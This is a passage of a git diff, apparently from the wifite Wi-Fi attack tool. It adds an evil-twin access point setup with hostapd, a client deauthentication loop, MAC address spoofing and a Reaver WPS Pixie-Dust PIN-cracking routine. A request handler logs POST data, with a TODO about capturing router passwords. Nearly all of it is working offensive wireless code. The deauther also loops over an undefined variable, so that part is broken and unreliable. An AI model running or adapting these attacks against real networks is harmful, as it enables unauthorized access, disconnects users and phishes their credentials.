self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write('<html><head><title>Title goes here.</title></head>')
self.wfile.write('<body><p>This is a test.</p>')
# If someone went to 'http://something.somewhere.net/foo/bar/',
# then s.path equals '/foo/bar/'.
self.wfile.write('<p>You accessed path: %s</p>' % self.path)
self.wfile.write('</body></html>')
def do_POST(self):
self.server.request_count += 1
request_path = self.path
# TODO: If path includes router password, call self.server.success_callback
# TODO: Verify router passwords via separate interface?
print('\n----- Request Start ----->\n')
print(request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
print(request_headers)
print(self.rfile.read(length))
print('<----- Request End -----\n')
self.send_response(200)
do_PUT = do_POST
do_DELETE = do_GET

94
wifite/tools/hostapd.py Executable file
View File

@@ -0,0 +1,94 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import re
import os
from .dependency import Dependency
from ..config import Configuration
from ..util.process import Process
class Hostapd(Dependency):
process_name = 'hostapd'
dependency_required = False
dependency_name = process_name
dependency_url = 'apt-get install hostapd'
@classmethod
def exists(cls):
return Process.exists(cls.process_name)
def __init__(self, target, interface):
self.target = target
self.interface = interface
self.pid = None
self.config_file = None
self.output_file = None
self.output_write = None
self.state = 'Initializing'
def create_config_file(self):
if not self.target.essid_known:
self.state = 'Error: Target ESSID is not known'
raise Exception('Cannot start hostapd if target has unknown SSID')
self.config_file = os.path.abspath(os.path.join(Configuration.temp(), 'hostapd.conf'))
with open(self.config_file, 'w') as config:
config.write('driver=nl80211\n')
config.write('ssid={}\n'.format(self.target.essid))
# TODO: support 5ghz
config.write('hw_mode=g\n')
config.write('channel={}\n'.format(self.target.channel))
config.write('logger_syslog=-1\n')
config.write('logger_syslog_level=2\n')
def start(self):
self.create_config_file()
self.killall()
temp = Configuration.temp()
self.output_file = os.path.abspath(os.path.join(temp, 'hostapd.out'))
self.output_write = open(self.output_file, 'a')
command = [
self.process_name,
'-i', self.interface,
self.config_file
]
self.pid = Process(command, stdout=self.output_write, cwd=temp)
def stop(self):
if self.pid and self.pid.poll() is not None:
self.pid.interrupt()
self.killall()
# TODO: Wait until hostapd is completely stopped.
if self.output_write:
self.output_write.close()
if self.config_file and os.path.exists(self.config_file):
os.remove(self.config_file)
if self.output_file and os.path.exists(self.output_file):
os.remove(self.output_file)
def killall(self):
Process(['killall', self.process_name]).wait()
def check(self):
if self.pid.poll() is not None:
raise Exception('hostapd stopped running, exit code: %d, output: %s' % (self.pid.poll(), self.pid.stdout()))
# TODO: Check hostapd logs / output for any problems.

61
wifite/tools/ifconfig.py Executable file
View File

@@ -0,0 +1,61 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import re
from .dependency import Dependency
class Ifconfig(Dependency):
dependency_required = True
dependency_name = 'ifconfig'
dependency_url = 'apt-get install net-tools'
@classmethod
def up(cls, interface, args=[]):
'''Put interface up'''
from ..util.process import Process
command = ['ifconfig', interface]
if type(args) is list:
command.extend(args)
elif type(args) is 'str':
command.append(args)
command.append('up')
pid = Process(command)
pid.wait()
if pid.poll() != 0:
raise Exception('Error putting interface %s up:\n%s\n%s' % (interface, pid.stdout(), pid.stderr()))
@classmethod
def down(cls, interface):
'''Put interface down'''
from ..util.process import Process
pid = Process(['ifconfig', interface, 'down'])
pid.wait()
if pid.poll() != 0:
raise Exception('Error putting interface %s down:\n%s\n%s' % (interface, pid.stdout(), pid.stderr()))
@classmethod
def get_mac(cls, interface):
from ..util.process import Process
output = Process(['ifconfig', interface]).stdout()
# Mac address separated by dashes
mac_dash_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
match = re.search(' ({})'.format(mac_dash_regex), output)
if match:
return match.group(1).replace('-', ':')
# Mac address separated by colons
mac_colon_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
match = re.search(' ({})'.format(mac_colon_regex), output)
if match:
return match.group(1)
raise Exception('Could not find the mac address for %s' % interface)

73
wifite/tools/iptables.py Normal file
View File

@@ -0,0 +1,73 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import re
from .dependency import Dependency
from ..util.process import Process
class Iptables(Dependency):
process_name = 'iptables'
dependency_required = False
dependency_name = process_name
dependency_url = 'apt-get install iptables'
@classmethod
def exists(cls):
return Process.exists(cls.process_name)
@classmethod
def __exec(cls, args, expect_return_code=0):
# Helper method for executing iptables commands.
if type(args) is str:
args = args.split(' ')
command = [cls.process_name] + args
pid = Process(command)
pid.wait()
if expect_return_code and pid.poll() != 0:
raise Exception('Error executing %s:\n%s\n%s' % (' '.join(command), pid.stdout(), pid.stderr()))
# -N, --new-chain <chain>
@classmethod
def new_chain(cls, chain_name, table):
args = ['-N', chain_name, '-t', table]
cls.__exec(args)
# -A, --append <chain> <rule-specification>
@classmethod
def append(cls, chain, table=None, rules=[]):
args = []
if table is not None:
args.extend(['-t', table])
args.extend(['-A', chain])
args.extend(rules)
cls.__exec(args)
# -F, --flush <chain>
@classmethod
def flush(cls, table=None):
args = []
if table is not None:
args.extend(['-t', table])
args.append('-F')
cls.__exec(args)
# -X, --delete-chain <chain>
@classmethod
def delete_chain(cls, table=None):
args = []
if table is not None:
args.extend(['-t', table])
args.append('-X')
cls.__exec(args)

48
wifite/tools/iwconfig.py Executable file
View File

@@ -0,0 +1,48 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from .dependency import Dependency
class Iwconfig(Dependency):
dependency_required = True
dependency_name = 'iwconfig'
dependency_url = 'apt-get install wireless-tools'
@classmethod
def exists(cls):
from ..util.process import Process
return Process.exists('iwconfig')
@classmethod
def mode(cls, iface, mode_name):
from ..util.process import Process
pid = Process(['iwconfig', iface, 'mode', mode_name])
pid.wait()
return pid.poll()
@classmethod
def get_interfaces(cls, mode=None):
from ..util.process import Process
interfaces = set()
(out, err) = Process.call('iwconfig')
for line in out.split('\n'):
if len(line) == 0: continue
if not line.startswith(' '):
iface = line.split(' ')[0]
if '\t' in iface:
iface = iface.split('\t')[0]
if mode is None:
interfaces.add(iface)
if mode is not None and 'mode:{}'.format(mode.lower()) in line.lower():
interfaces.add(iface)
return list(interfaces)

View File

@@ -1,82 +1,89 @@
#!/usr/bin/python2.7 #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..model.interface import Interface from .dependency import Dependency
from ..tools.ifconfig import Ifconfig
from ..util.color import Color from ..util.color import Color
class Macchanger(object): class Macchanger(Dependency):
is_init = False dependency_required = False
dependency_name = 'macchanger'
dependency_url = 'apt-get install macchanger'
is_changed = False is_changed = False
original_mac = None
@classmethod @classmethod
def init(cls): def down_macch_up(cls, iface, options):
if cls.is_init: return '''Put interface down, run macchanger with options, put interface up'''
from ..config import Configuration
iface = Configuration.interface
if type(iface) == Interface:
iface = iface.name
cls.original_mac = Interface.get_mac(iface)
@classmethod
def down_macch_up(cls, macch_option):
cls.init()
from ..util.process import Process from ..util.process import Process
from ..config import Configuration
iface = Configuration.interface
cmd = ["ifconfig", iface, "down"]
Color.clear_entire_line() Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." % iface) Color.p('\r{+} {C}macchanger{W}: taking interface {C}%s{W} down...' % iface)
ifdown = Process(cmd)
ifdown.wait() Ifconfig.down(iface)
if ifdown.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr()))
return False
cmd = ["macchanger", macch_option, iface]
Color.clear_entire_line() Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Changing MAC address of interface {C}%s{W}..." % iface) Color.p('\r{+} {C}macchanger{W}: changing mac address of interface {C}%s{W}...' % iface)
macch = Process(cmd)
command = ['macchanger']
command.extend(options)
command.append(iface)
macch = Process(command)
macch.wait() macch.wait()
if macch.poll() != 0: if macch.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) Color.pl('\n{!} {R}macchanger{O}: error running {R}%s{O}' % ' '.join(command))
Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr())) Color.pl('{!} {R}output: {O}%s, %s{W}' % (macch.stdout(), macch.stderr()))
return False return False
cmd = ["ifconfig", iface, "up"]
Color.clear_entire_line() Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." % iface) Color.p('\r{+} {C}macchanger{W}: bringing interface {C}%s{W} up...' % iface)
ifup = Process(cmd)
ifup.wait() Ifconfig.up(iface)
if ifup.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr()))
return False
return True return True
@classmethod
def get_interface(cls):
# Helper method to get interface from configuration
from ..config import Configuration
return Configuration.interface
@classmethod @classmethod
def reset(cls): def reset(cls):
# --permanent to reset to permanent MAC address iface = cls.get_interface()
if not cls.down_macch_up("-p"): return Color.pl('\r{+} {C}macchanger{W}: resetting mac address on %s...' % iface)
Color.pl("\r{+} {C}macchanger{W}: Resetting MAC address...") # -p to reset to permanent MAC address
from ..config import Configuration if cls.down_macch_up(iface, ['-p']):
new_mac = Interface.get_mac(Configuration.interface) new_mac = Ifconfig.get_mac(iface)
Color.clear_entire_line()
Color.pl("\r{+} {C}macchanger{W}: Reset MAC address back to {C}%s{W}" % new_mac) Color.clear_entire_line()
Color.pl('\r{+} {C}macchanger{W}: reset mac address back to {C}%s{W} on {C}%s{W}' % (new_mac, iface))
@classmethod @classmethod
def random(cls): def random(cls):
# Use --permanent to use random MAC address from ..util.process import Process
if not cls.down_macch_up("-r"): return if not Process.exists('macchanger'):
cls.is_changed = True Color.pl('{!} {R}macchanger: {O}not installed')
from ..config import Configuration return
new_mac = Interface.get_mac(Configuration.interface)
Color.clear_entire_line() iface = cls.get_interface()
Color.pl("\r{+} {C}macchanger{W}: Changed MAC address to {C}%s{W}" % new_mac) Color.pl('\n{+} {C}macchanger{W}: changing mac address on {C}%s{W}' % iface)
# -r to use random MAC address
# -e to keep vendor bytes the same
if cls.down_macch_up(iface, ['-e']):
cls.is_changed = True
new_mac = Ifconfig.get_mac(iface)
Color.clear_entire_line()
Color.pl('\r{+} {C}macchanger{W}: changed mac address to {C}%s{W} on {C}%s{W}' % (new_mac, iface))
@classmethod @classmethod
def reset_if_changed(cls): def reset_if_changed(cls):
if not cls.is_changed: return if cls.is_changed:
cls.reset() cls.reset()

6
wifite/tools/pyrit.py Normal file → Executable file
View File

@@ -1,11 +1,15 @@
#!/usr/bin/python2.7 #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency
from ..util.process import Process from ..util.process import Process
import re import re
class Pyrit(object): class Pyrit(Dependency):
''' Wrapper for Pyrit program. ''' ''' Wrapper for Pyrit program. '''
dependency_required = False
dependency_name = 'pyrit'
dependency_url = 'https://github.com/JPaulMora/Pyrit/wiki'
def __init__(self): def __init__(self):
pass pass

View File

@@ -1,171 +1,247 @@
#!/usr/bin/python2.7 #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency
from .airodump import Airodump
from .bully import Bully # for PSK retrieval
from ..model.attack import Attack from ..model.attack import Attack
from ..config import Configuration from ..config import Configuration
from ..util.color import Color from ..util.color import Color
from ..util.process import Process from ..util.process import Process
from ..tools.airodump import Airodump from ..util.timer import Timer
from ..tools.bully import Bully # for PSK retrieval
from ..model.wps_result import CrackResultWPS from ..model.wps_result import CrackResultWPS
import os, time, re import os, time, re
class Reaver(Attack): class Reaver(Attack, Dependency):
dependency_required = False
dependency_name = 'reaver'
dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x'
def __init__(self, target): def __init__(self, target):
super(Reaver, self).__init__(target) super(Reaver, self).__init__(target)
self.success = False
self.start_time = None
self.state = 'Initializing'
self.locked = False
self.total_timeouts = 0
self.total_wpsfails = 0
self.crack_result = None self.crack_result = None
self.output_filename = Configuration.temp('reaver.out')
if os.path.exists(self.output_filename):
os.remove(self.output_filename)
self.output_write = open(self.output_filename, 'a')
self.reaver_cmd = [
'reaver',
'--interface', Configuration.interface,
'--bssid', self.target.bssid,
'--channel', self.target.channel,
'--pixie-dust', '1', # pixie-dust attack
'--session', '/dev/null', # Don't restart session
'-vv' # (very) verbose
]
self.reaver_proc = None
def is_pixiedust_supported(self): def is_pixiedust_supported(self):
''' Checks if 'reaver' supports WPS Pixie-Dust attack ''' ''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
output = Process(['reaver', '-h']).stderr() output = Process(['reaver', '-h']).stderr()
return '--pixie-dust' in output return '--pixie-dust' in output
def run_pixiedust_attack(self): def run(self):
# Write reaver stdout to file. ''' Returns True if attack is successful. '''
self.stdout_file = Configuration.temp('reaver.out') try:
if os.path.exists(self.stdout_file): self._run() # Run-loop
os.remove(self.stdout_file) except Exception as e:
# Failed with error
self.pattack('{R}Failed:{O} %s' % str(e), newline=True)
return self.crack_result is not None
command = [ # Stop reaver if it's still running
'reaver', if self.reaver_proc.poll() is None:
'--interface', Configuration.interface, self.reaver_proc.interrupt()
'--bssid', self.target.bssid,
'--channel', self.target.channel,
'--pixie-dust', '1', # pixie-dust attack
'--timeout', '4', # Stop waiting after 4 seconds
#'--delay', '0',
#'--no-nacks',
'--session', '/dev/null', # Don't restart session
'-vv' # (very) verbose
]
stdout_write = open(self.stdout_file, 'a')
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
pin = None # Clean up open file handle
step = 'initializing' if self.output_write:
time_since_last_step = 0 self.output_write.close()
return self.crack_result is not None
def _run(self):
self.start_time = time.time()
with Airodump(channel=self.target.channel, with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid, target_bssid=self.target.bssid,
skip_wps=True, skip_wps=True,
output_file_prefix='pixie') as airodump: output_file_prefix='pixie') as airodump:
Color.clear_line() # Wait for target
Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...") self.pattack("Waiting for target to appear...")
self.target = self.wait_for_target(airodump)
while True: # Start reaver
try: self.reaver_proc = Process(self.reaver_cmd,
airodump_target = self.wait_for_target(airodump) stdout=self.output_write,
except Exception as e: stderr=Process.devnull())
Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
# Loop while reaver is running
while self.crack_result is None and self.reaver_proc.poll() is None:
# Refresh target information (power)
self.target = self.wait_for_target(airodump)
# Update based on reaver output
stdout = self.get_output()
self.state = self.parse_state(stdout)
self.parse_failure(stdout)
# Print status line
self.pattack(self.get_status())
# Check if we cracked it
self.crack_result = self.parse_crack_result(stdout)
time.sleep(0.5)
# Check if crack result is in output
stdout = self.get_output()
self.crack_result = self.parse_crack_result(stdout)
# Show any failures found
if self.crack_result is None:
self.parse_failure(stdout)
if self.crack_result is None and self.reaver_proc.poll() is not None:
raise Exception('Reaver process stopped (exit code: %s)' % self.reaver_proc.poll())
def get_status(self):
main_status = self.state
meta_statuses = []
if self.total_timeouts > 0:
meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts)
if self.total_wpsfails > 0:
meta_statuses.append("{O}WPSFail:%d{W}" % self.total_wpsfails)
if self.locked:
meta_statuses.append("{R}Locked{W}")
if len(meta_statuses) > 0:
main_status += ' (%s)' % ', '.join(meta_statuses)
return main_status
def parse_crack_result(self, stdout):
if self.crack_result is not None:
return self.crack_result
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if pin is not None:
# We cracked it.
if psk is not None:
# Reaver provided PSK
self.pattack('{G}Cracked WPS PIN: {C}%s{W} {G}PSK: {C}%s{W}' % (pin, psk), newline=True)
else:
self.pattack('{G}Cracked WPS PIN: {C}%s' % pin, newline=True)
# Try to derive PSK from PIN using Bully
self.pattack('{W}Retrieving PSK using {C}bully{W}...')
psk = Bully.get_psk_from_pin(self.target, pin)
if psk is None:
Color.pl("") Color.pl("")
return False self.pattack('{R}Failed {O}to get PSK using bully', newline=True)
stdout_write.flush()
# Check output from reaver process
stdout = self.get_stdout()
stdout_last_line = stdout.split('\n')[-1]
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if pin is not None or reaver.poll() is not None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
stdout = self.get_stdout()
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin is not None:
# We cracked it.
if psk is None:
# Try to derive PSK from PIN using Bully
psk = Bully.get_psk_from_pin(self.target, pin)
bssid = self.target.bssid
Color.clear_entire_line()
if psk is None:
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN{W} (but not PSK)")
else:
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
Color.pl("")
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
return True
else:
# Failed to crack, reaver proces ended.
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
return False
if 'WPS pin not found' in stdout:
Color.pl('{R}failed: {O}WPS pin not found{W}')
break
last_step = step
# Status updates, depending on last line of stdout
if 'Waiting for beacon from' in stdout_last_line:
step = '({C}step 1/8{W}) waiting for beacon'
elif 'Associated with' in stdout_last_line:
step = '({C}step 2/8{W}) waiting to start session'
elif 'Starting Cracking Session.' in stdout_last_line:
step = '({C}step 3/8{W}) waiting to try pin'
elif 'Trying pin' in stdout_last_line:
step = '({C}step 4/8{W}) trying pin'
elif 'Sending EAPOL START request' in stdout_last_line:
step = '({C}step 5/8{W}) sending eapol start request'
elif 'Sending identity response' in stdout_last_line:
step = '({C}step 6/8{W}) sending identity response'
elif 'Sending M2 message' in stdout_last_line:
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
elif 'Detected AP rate limiting,' in stdout_last_line:
if Configuration.wps_skip_rate_limit:
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
' this kind of failure in the future{W}')
break
step = '({C}step -/8{W}) waiting for AP rate limit'
if step != last_step:
# Step changed, reset step timer
time_since_last_step = 0
else: else:
time_since_last_step += 1 self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True)
if time_since_last_step > Configuration.wps_pixie_step_timeout: crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) crack_result.dump()
break return crack_result
# TODO: Timeout check return None
if reaver.running_time() > Configuration.wps_pixie_timeout:
Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
break
# Reaver Failure/Timeout check
fail_count = stdout.count('WPS transaction failed')
if fail_count > Configuration.wps_fail_threshold:
Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
break
timeout_count = stdout.count('Receive timeout occurred')
if timeout_count > Configuration.wps_timeout_threshold:
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
break
Color.clear_line() def parse_failure(self, stdout):
Color.pattack("WPS", airodump_target, "Pixie-Dust", step) # Total failure
if 'WPS pin not found' in stdout:
raise Exception('Reaver says "WPS pin not found"')
time.sleep(1) # Running-time failure
continue if self.running_time() > Configuration.wps_pixie_timeout:
raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout)
# WPSFail count
self.total_wpsfails = stdout.count('WPS transaction failed')
if self.total_wpsfails >= Configuration.wps_fail_threshold:
raise Exception('Too many failures (%d)' % self.total_wpsfails)
# Timeout count
self.total_timeouts = stdout.count('Receive timeout occurred')
if self.total_timeouts >= Configuration.wps_timeout_threshold:
raise Exception('Too many timeouts (%d)' % self.total_timeouts)
def parse_state(self, stdout):
state = self.state
stdout_last_line = stdout.split('\n')[-1]
if 'Waiting for beacon from' in stdout_last_line:
state = 'Waiting for beacon'
elif 'Associated with' in stdout_last_line:
state = 'Associated'
elif 'Starting Cracking Session.' in stdout_last_line:
state = 'Waiting to try PIN'
elif 'Trying pin' in stdout_last_line:
state = 'Trying PIN'
elif 'Sending EAPOL START request' in stdout_last_line:
state = 'Sending EAPOL Start request'
elif 'Sending identity response' in stdout_last_line:
state = 'Sending identity response'
self.locked = False
elif 'Sending M2 message' in stdout_last_line:
state = 'Sending M2 / Running pixiewps'
self.locked = False
elif 'Detected AP rate limiting,' in stdout_last_line:
state = 'Rate-Limited by AP'
self.locked = True
return state
def pattack(self, message, newline=False):
# Print message with attack information.
time_left = Configuration.wps_pixie_timeout - self.running_time()
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
'Pixie-Dust',
'{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
if newline:
Color.pl("")
def running_time(self):
return int(time.time() - self.start_time)
# Attack failed, already printed reason why
reaver.interrupt()
stdout_write.close()
return False
@staticmethod @staticmethod
def get_pin_psk_ssid(stdout): def get_pin_psk_ssid(stdout):
@@ -199,12 +275,21 @@ class Reaver(Attack):
return (pin, psk, ssid) return (pin, psk, ssid)
def get_stdout(self):
''' Gets output from stdout_file ''' def get_output(self):
if not self.stdout_file: ''' Gets output from reaver's output file '''
if not self.output_filename:
return '' return ''
with open(self.stdout_file, 'r') as fid:
if self.output_write:
self.output_write.flush()
with open(self.output_filename, 'r') as fid:
stdout = fid.read() stdout = fid.read()
if Configuration.verbose > 1:
Color.pe('\n{P} [reaver:stdout] %s' % '\n [reaver:stdout] '.join(stdout.split('\n')))
return stdout.strip() return stdout.strip()

View File

@@ -1,11 +1,15 @@
#!/usr/bin/python2.7 #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency
from ..util.process import Process from ..util.process import Process
import re import re
class Tshark(object): class Tshark(Dependency):
''' Wrapper for Tshark program. ''' ''' Wrapper for Tshark program. '''
dependency_required = False
dependency_name = 'tshark'
dependency_url = 'apt-get install wireshark'
def __init__(self): def __init__(self):
pass pass

6
wifite/tools/wash.py Normal file → Executable file
View File

@@ -1,11 +1,15 @@
#!/usr/bin/python2.7 #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency
from ..util.process import Process from ..util.process import Process
import json import json
class Wash(object): class Wash(Dependency):
''' Wrapper for Wash program. ''' ''' Wrapper for Wash program. '''
dependency_required = False
dependency_name = 'wash'
dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x'
def __init__(self): def __init__(self):
pass pass

0
wifite/util/__init__.py Normal file → Executable file
View File

View File

@@ -31,9 +31,9 @@ class Color(object):
@staticmethod @staticmethod
def p(text): def p(text):
''' '''
Prints text using colored format on same line. Prints text using colored format on same line.
Example: Example:
Color.p("{R}This text is red. {W} This text is white") Color.p("{R}This text is red. {W} This text is white")
''' '''
sys.stdout.write(Color.s(text)) sys.stdout.write(Color.s(text))
sys.stdout.flush() sys.stdout.flush()
@@ -45,17 +45,13 @@ class Color(object):
@staticmethod @staticmethod
def pl(text): def pl(text):
''' '''Prints text using colored format with trailing new line.'''
Prints text using colored format with trailing new line.
'''
Color.p('%s\n' % text) Color.p('%s\n' % text)
Color.last_sameline_length = 0 Color.last_sameline_length = 0
@staticmethod @staticmethod
def pe(text): def pe(text):
''' '''Prints text using colored format with leading and trailing new line to STDERR.'''
Prints text using colored format with leading and trailing new line to STDERR.
'''
sys.stderr.write(Color.s('%s\n' % text)) sys.stderr.write(Color.s('%s\n' % text))
Color.last_sameline_length = 0 Color.last_sameline_length = 0
@@ -85,14 +81,14 @@ class Color(object):
@staticmethod @staticmethod
def pattack(attack_type, target, attack_name, progress): def pattack(attack_type, target, attack_name, progress):
''' '''
Prints a one-liner for an attack Prints a one-liner for an attack.
Includes attack type (WEP/WPA), target BSSID/ESSID & power, attack type, and progress Includes attack type (WEP/WPA), target ESSID & power, attack type, and progress.
[name] ESSID (MAC @ Pwr) Attack_Type: Progress ESSID (Pwr) Attack_Type: Progress
e.g.: [WEP] Router2G (00:11:22 @ 23db) replay attack: 102 IVs e.g.: Router2G (23db) WEP replay attack: 102 IVs
''' '''
essid = "{C}%s{W}" % target.essid if target.essid_known else "{O}unknown{W}" essid = "{C}%s{W}" % target.essid if target.essid_known else "{O}unknown{W}"
Color.p("\r{+} {G}%s{W} ({C}%s @ %sdb{W}) {G}%s {C}%s{W}: %s " % ( Color.p("\r{+} {G}%s{W} ({C}%sdb{W}) {G}%s {C}%s{W}: %s " % (
essid, target.bssid, target.power, attack_type, attack_name, progress)) essid, target.power, attack_type, attack_name, progress))
if __name__ == '__main__': if __name__ == '__main__':
Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done") Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done")

56
wifite/util/deauther.py Normal file
View File

@@ -0,0 +1,56 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import time
from ..tools.aireplay import Aireplay
from ..tools.ifconfig import Ifconfig
class Deauther(object):
'''
Deauthenticates clients associated with a target.
For use with EvilTwin.
'''
def __init__(self, interface, target):
self.interface = interface
self.interface_mac = Ifconfig.get_mac(interface)
self.target = target
self.running = False
self.clients = set()
def update_target(self, target):
# Refresh target (including list of clients)
self.target = target
def update_clients(self):
# Refreshes list of clients connected to target
for client in self.target.clients:
bssid = client.station
if bssid.lower() == self.interface_mac:
continue # Ignore this interface
elif bssid not in self.clients:
self.clients.add(bssid)
def start(self):
self.running = True
while self.running:
# Refresh list of clients
self.update_clients()
# Deauth clients
bssid = self.target.bssid
essid = self.target.essid if self.target.essid_known else None
for client_mac in clients:
Aireplay.deauth(bssid, essid=essid, client_mac=client_mac)
time.sleep(1)
def stop(self):
self.running = False

0
wifite/util/input.py Normal file → Executable file
View File

View File

@@ -2,6 +2,9 @@
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import time import time
import signal
import os
from subprocess import Popen, PIPE from subprocess import Popen, PIPE
from ..util.color import Color from ..util.color import Color
@@ -139,27 +142,31 @@ class Process(object):
''' Returns number of seconds since process was started ''' ''' Returns number of seconds since process was started '''
return int(time.time() - self.start_time) return int(time.time() - self.start_time)
def interrupt(self): def interrupt(self, wait_time=2.0):
''' '''
Send interrupt to current process. Send interrupt to current process.
If process fails to exit within 1 second, terminates it. If process fails to exit within `wait_time` seconds, terminates it.
''' '''
from signal import SIGINT, SIGTERM
from os import kill
from time import sleep
try: try:
pid = self.pid.pid pid = self.pid.pid
kill(pid, SIGINT) cmd = self.command
if type(cmd) is list:
cmd = ' '.join(cmd)
wait_time = 0 # Time since Interrupt was sent if Configuration.verbose > 1:
Color.pe('\n {C}[?] {W} sending interrupt to PID %d (%s)' % (pid, cmd))
os.kill(pid, signal.SIGINT)
start_time = time.time() # Time since Interrupt was sent
while self.pid.poll() is None: while self.pid.poll() is None:
# Process is still running # Process is still running
wait_time += 0.1 time.sleep(0.1)
sleep(0.1) if time.time() - start_time > wait_time:
if wait_time > 1: # We waited too long for process to die, terminate it.
# We waited over 1 second for process to die if Configuration.verbose > 1:
# Terminate it and move on Color.pe('\n {C}[?] {W} Waited > %0.2f seconds for process to die, killing it' % wait_time)
kill(pid, SIGTERM) os.kill(pid, signal.SIGTERM)
self.pid.terminate() self.pid.terminate()
break break

View File

@@ -48,6 +48,10 @@ class Scanner(object):
# We found the target we want # We found the target we want
return return
for target in self.targets:
if target.bssid in airodump.decloaked_bssids:
target.decloaked = True
self.print_targets() self.print_targets()
target_count = len(self.targets) target_count = len(self.targets)
@@ -61,11 +65,6 @@ class Scanner(object):
outline += " {G}%d{W} target(s)," % target_count outline += " {G}%d{W} target(s)," % target_count
outline += " {G}%d{W} client(s)." % client_count outline += " {G}%d{W} client(s)." % client_count
outline += " {O}Ctrl+C{W} when ready " outline += " {O}Ctrl+C{W} when ready "
decloaked = airodump.decloaked_targets
if len(decloaked) > 0:
outline += "(decloaked"
outline += " {C}%d{W} ESSIDs:" % len(decloaked)
outline += " {G}%s{W}) " % ", ".join([x.essid for x in decloaked])
Color.clear_entire_line() Color.clear_entire_line()
Color.p(outline) Color.p(outline)

View File

@@ -24,6 +24,9 @@ class Timer(object):
@staticmethod @staticmethod
def secs_to_str(seconds): def secs_to_str(seconds):
'''Human-readable seconds. 193 -> 3m13s''' '''Human-readable seconds. 193 -> 3m13s'''
if seconds < 0:
return '-%ds' % seconds
rem = int(seconds) rem = int(seconds)
hours = rem / 3600 hours = rem / 3600
mins = (rem % 3600) / 60 mins = (rem % 3600) / 60

View File

@@ -1,10 +1,10 @@
#!/usr/bin/python2.7 #!/usr/bin/python3.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
try: try:
from .config import Configuration from .config import Configuration
except (ValueError, ImportError) as e: except (ValueError, ImportError) as e:
raise Exception('You may need to run wifite from the root directory (which includes README.md)') raise Exception('You may need to run wifite from the root directory (which includes README.md)', e)
from .util.scanner import Scanner from .util.scanner import Scanner
from .util.process import Process from .util.process import Process
@@ -14,6 +14,7 @@ from .util.input import raw_input
from .attack.wep import AttackWEP from .attack.wep import AttackWEP
from .attack.wpa import AttackWPA from .attack.wpa import AttackWPA
from .attack.wps import AttackWPS from .attack.wps import AttackWPS
from .attack.eviltwin import EvilTwinAttack
from .model.result import CrackResult from .model.result import CrackResult
from .model.handshake import Handshake from .model.handshake import Handshake
@@ -31,45 +32,67 @@ class Wifite(object):
Color.pl('{!} {O}re-run as: sudo ./Wifite.py{W}') Color.pl('{!} {O}re-run as: sudo ./Wifite.py{W}')
Configuration.exit_gracefully(0) Configuration.exit_gracefully(0)
self.dependency_check()
